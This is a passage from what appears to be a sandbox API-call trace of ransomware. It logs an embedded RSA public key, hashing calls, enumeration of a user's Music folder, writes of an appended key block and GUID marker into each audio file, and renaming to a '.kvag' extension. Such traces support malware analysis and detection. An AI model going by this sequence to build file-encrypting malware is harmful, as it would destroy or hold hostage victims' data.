KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.717] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.717] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.718] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.718] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.718] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.718] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.718] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.718] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.718] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.718] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.718] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.719] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.719] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x155b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.719] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.719] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.719] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.720] CloseHandle (hObject=0x61c) returned 1 [0119.721] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2VWfH-tyMn.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\2vwfh-tymn.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2VWfH-tyMn.wav.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\2vwfh-tymn.wav.kvag")) returned 1 [0119.722] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dd60aa0, ftCreationTime.dwHighDateTime=0x1d4d416, ftLastAccessTime.dwLowDateTime=0x1a1e2110, ftLastAccessTime.dwHighDateTime=0x1d4d2b6, ftLastWriteTime.dwLowDateTime=0x1a1e2110, ftLastWriteTime.dwHighDateTime=0x1d4d2b6, nFileSizeHigh=0x0, nFileSizeLow=0x122b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5lR8cXfV8AUdqEIQ87t.mp3", cAlternateFileName="5LR8CX~1.MP3")) returned 1 [0119.722] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5lR8cXfV8AUdqEIQ87t.mp3") returned=".mp3" [0119.722] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5lR8cXfV8AUdqEIQ87t.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\5lr8cxfv8audqeiq87t.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.722] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=74419) returned 1 [0119.722] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.724] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1228d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.724] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.725] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.725] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x122b3, lpOverlapped=0x0) returned 1 [0119.726] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.726] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.726] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.726] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0119.727] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.727] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.727] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.727] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.727] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.727] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0119.727] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.728] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.728] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.728] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.728] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x122b3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.728] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.729] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.729] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.729] CloseHandle (hObject=0x61c) returned 1 [0119.730] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5lR8cXfV8AUdqEIQ87t.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\5lr8cxfv8audqeiq87t.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5lR8cXfV8AUdqEIQ87t.mp3.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\5lr8cxfv8audqeiq87t.mp3.kvag")) returned 1 [0119.731] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7a2db20, ftCreationTime.dwHighDateTime=0x1d4d257, ftLastAccessTime.dwLowDateTime=0x1496b890, ftLastAccessTime.dwHighDateTime=0x1d4d493, ftLastWriteTime.dwLowDateTime=0x1496b890, ftLastWriteTime.dwHighDateTime=0x1d4d493, nFileSizeHigh=0x0, nFileSizeLow=0x16c80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AX5dw-yk.wav", cAlternateFileName="")) returned 1 [0119.731] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\AX5dw-yk.wav") returned=".wav" [0119.731] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\AX5dw-yk.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ax5dw-yk.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.731] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=93312) returned 1 [0119.731] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.733] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x16c5a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.734] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.735] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x16c80, lpOverlapped=0x0) returned 1 [0119.736] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.736] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.736] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.736] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.737] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.737] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.737] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.737] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.737] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.737] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.737] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.737] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.737] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.739] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0119.740] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.740] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x16c80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.740] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.740] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.740] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.740] CloseHandle (hObject=0x61c) returned 1 [0119.742] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\AX5dw-yk.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ax5dw-yk.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\AX5dw-yk.wav.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ax5dw-yk.wav.kvag")) returned 1 [0119.743] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0119.743] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini") returned=".ini" [0119.743] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1460c1a0, ftCreationTime.dwHighDateTime=0x1d4d429, ftLastAccessTime.dwLowDateTime=0xfea27240, ftLastAccessTime.dwHighDateTime=0x1d4d2cb, ftLastWriteTime.dwLowDateTime=0xfea27240, ftLastWriteTime.dwHighDateTime=0x1d4d2cb, nFileSizeHigh=0x0, nFileSizeLow=0x14f4c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EcgP9ne1dlBj.mp3", cAlternateFileName="ECGP9N~1.MP3")) returned 1 [0119.743] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\EcgP9ne1dlBj.mp3") returned=".mp3" [0119.743] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\EcgP9ne1dlBj.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ecgp9ne1dlbj.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.743] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=85836) returned 1 [0119.743] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.745] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x14f26, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.745] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.746] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x14f4c, lpOverlapped=0x0) returned 1 [0119.747] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.747] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.747] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.747] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.748] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.748] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.748] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.748] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.748] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.748] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.748] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.748] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.748] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.749] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.749] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x14f4c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.749] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.750] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.750] WriteFile (in: hFile=0x61c, 